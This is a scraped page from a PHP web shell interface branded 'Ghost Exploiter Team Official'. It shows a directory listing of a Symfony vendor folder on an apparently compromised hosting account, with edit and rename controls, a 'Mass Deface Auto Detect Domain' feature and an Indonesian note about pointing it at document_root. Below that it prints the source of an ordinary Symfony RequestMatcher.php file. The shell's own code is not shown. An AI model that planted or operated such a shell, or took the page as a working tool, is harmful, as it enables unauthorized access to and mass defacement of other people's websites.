webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
aminiwrc
/
listing.aminikamanpower.com
/
vendor
/
symfony
/
http-foundation
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
Exception
--
ren
File
--
ren
Session
--
ren
Test
--
ren
AcceptHeader.php
3.673KB
edt
ren
AcceptHeaderItem.php
3.539KB
edt
ren
ApacheRequest.php
1.122KB
edt
ren
BinaryFileResponse.php
12.919KB
edt
ren
CHANGELOG.md
12.18KB
edt
ren
Cookie.php
8.902KB
edt
ren
ExpressionRequestMatche
...
1.322KB
edt
ren
FileBag.php
3.905KB
edt
ren
HeaderBag.php
8.242KB
edt
ren
HeaderUtils.php
7.723KB
edt
ren
IpUtils.php
5.639KB
edt
ren
JsonResponse.php
7.229KB
edt
ren
LICENSE
1.04KB
edt
ren
ParameterBag.php
5.683KB
edt
ren
README.md
0.514KB
edt
ren
RedirectResponse.php
3.151KB
edt
ren
Request.php
64.234KB
edt
ren
RequestMatcher.php
4.782KB
edt
ren
RequestMatcherInterface
...
0.671KB
edt
ren
RequestStack.php
2.242KB
edt
ren
Response.php
36.158KB
edt
ren
ResponseHeaderBag.php
8.324KB
edt
ren
ServerBag.php
3.918KB
edt
ren
StreamedResponse.php
3.179KB
edt
ren
UrlHelper.php
3.025KB
edt
ren
composer.json
0.933KB
edt
ren
error_log
68.206KB
edt
ren
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; /** * RequestMatcher compares a pre-defined set of checks against a Request instance. * * @author Fabien Potencier <fabien@symfony.com> */ class RequestMatcher implements RequestMatcherInterface { /** * @var string|null */ private $path; /** * @var string|null */ private $host; /** * @var int|null */ private $port; /** * @var string[] */ private $methods = []; /** * @var string[] */ private $ips = []; /** * @var array */ private $attributes = []; /** * @var string[] */ private $schemes = []; /** * @param string|string[]|null $methods * @param string|string[]|null $ips * @param string|string[]|null $schemes */ public function __construct(string $path = null, string $host = null, $methods = null, $ips = null, array $attributes = [], $schemes = null, int $port = null) { $this->matchPath($path); $this->matchHost($host); $this->matchMethod($methods); $this->matchIps($ips); $this->matchScheme($schemes); $this->matchPort($port); foreach ($attributes as $k => $v) { $this->matchAttribute($k, $v); } } /** * Adds a check for the HTTP scheme. * * @param string|string[]|null $scheme An HTTP scheme or an array of HTTP schemes */ public function matchScheme($scheme) { $this->schemes = null !== $scheme ? array_map('strtolower', (array) $scheme) : []; } /** * Adds a check for the URL host name. * * @param string|null $regexp A Regexp */ public function matchHost($regexp) { $this->host = $regexp; } /** * Adds a check for the the URL port. * * @param int|null $port The port number to connect to */ public function matchPort(?int $port) { $this->port = $port; } /** * Adds a check for the URL path info. * * @param string|null $regexp A Regexp */ public function matchPath($regexp) { $this->path = $regexp; } /** * Adds a check for the client IP. * * @param string $ip A specific IP address or a range specified using IP/netmask like 192.168.1.0/24 */ public function matchIp($ip) { $this->matchIps($ip); } /** * Adds a check for the client IP. * * @param string|string[]|null $ips A specific IP address or a range specified using IP/netmask like 192.168.1.0/24 */ public function matchIps($ips) { $this->ips = null !== $ips ? (array) $ips : []; } /** * Adds a check for the HTTP method. * * @param string|string[]|null $method An HTTP method or an array of HTTP methods */ public function matchMethod($method) { $this->methods = null !== $method ? array_map('strtoupper', (array) $method) : []; } /** * Adds a check for request attribute. * * @param string $key The request attribute name * @param string $regexp A Regexp */ public function matchAttribute($key, $regexp) { $this->attributes[$key] = $regexp; } /** * {@inheritdoc} */ public function matches(Request $request) { if ($this->schemes && !\in_array($request->getScheme(), $this->schemes, true)) { return false; } if ($this->methods && !\in_array($request->getMethod(), $this->methods, true)) { return false; } foreach ($this->attributes as $key => $pattern) { $requestAttribute = $request->attributes->get($key); if (!\is_string($requestAttribute)) { return false; } if (!preg_match('{'.$pattern.'}', $requestAttribute)) { return false; } } if (null !== $this->path && !preg_match('{'.$this->path.'}', rawurldecode($request->getPathInfo()))) { return false; } if (null !== $this->host && !preg_match('{'.$this->host.'}i', $request->getHost())) { return false; } if (null !== $this->port && 0 < $this->port && $request->getPort() !== $this->port) { return false; } if (IpUtils::checkIp($request->getClientIp(), $this->ips)) { return true; } // Note to future implementors: add additional checks above the // foreach above or else your check might not be run! return 0 === \count($this->ips); } }
<=Back
Liking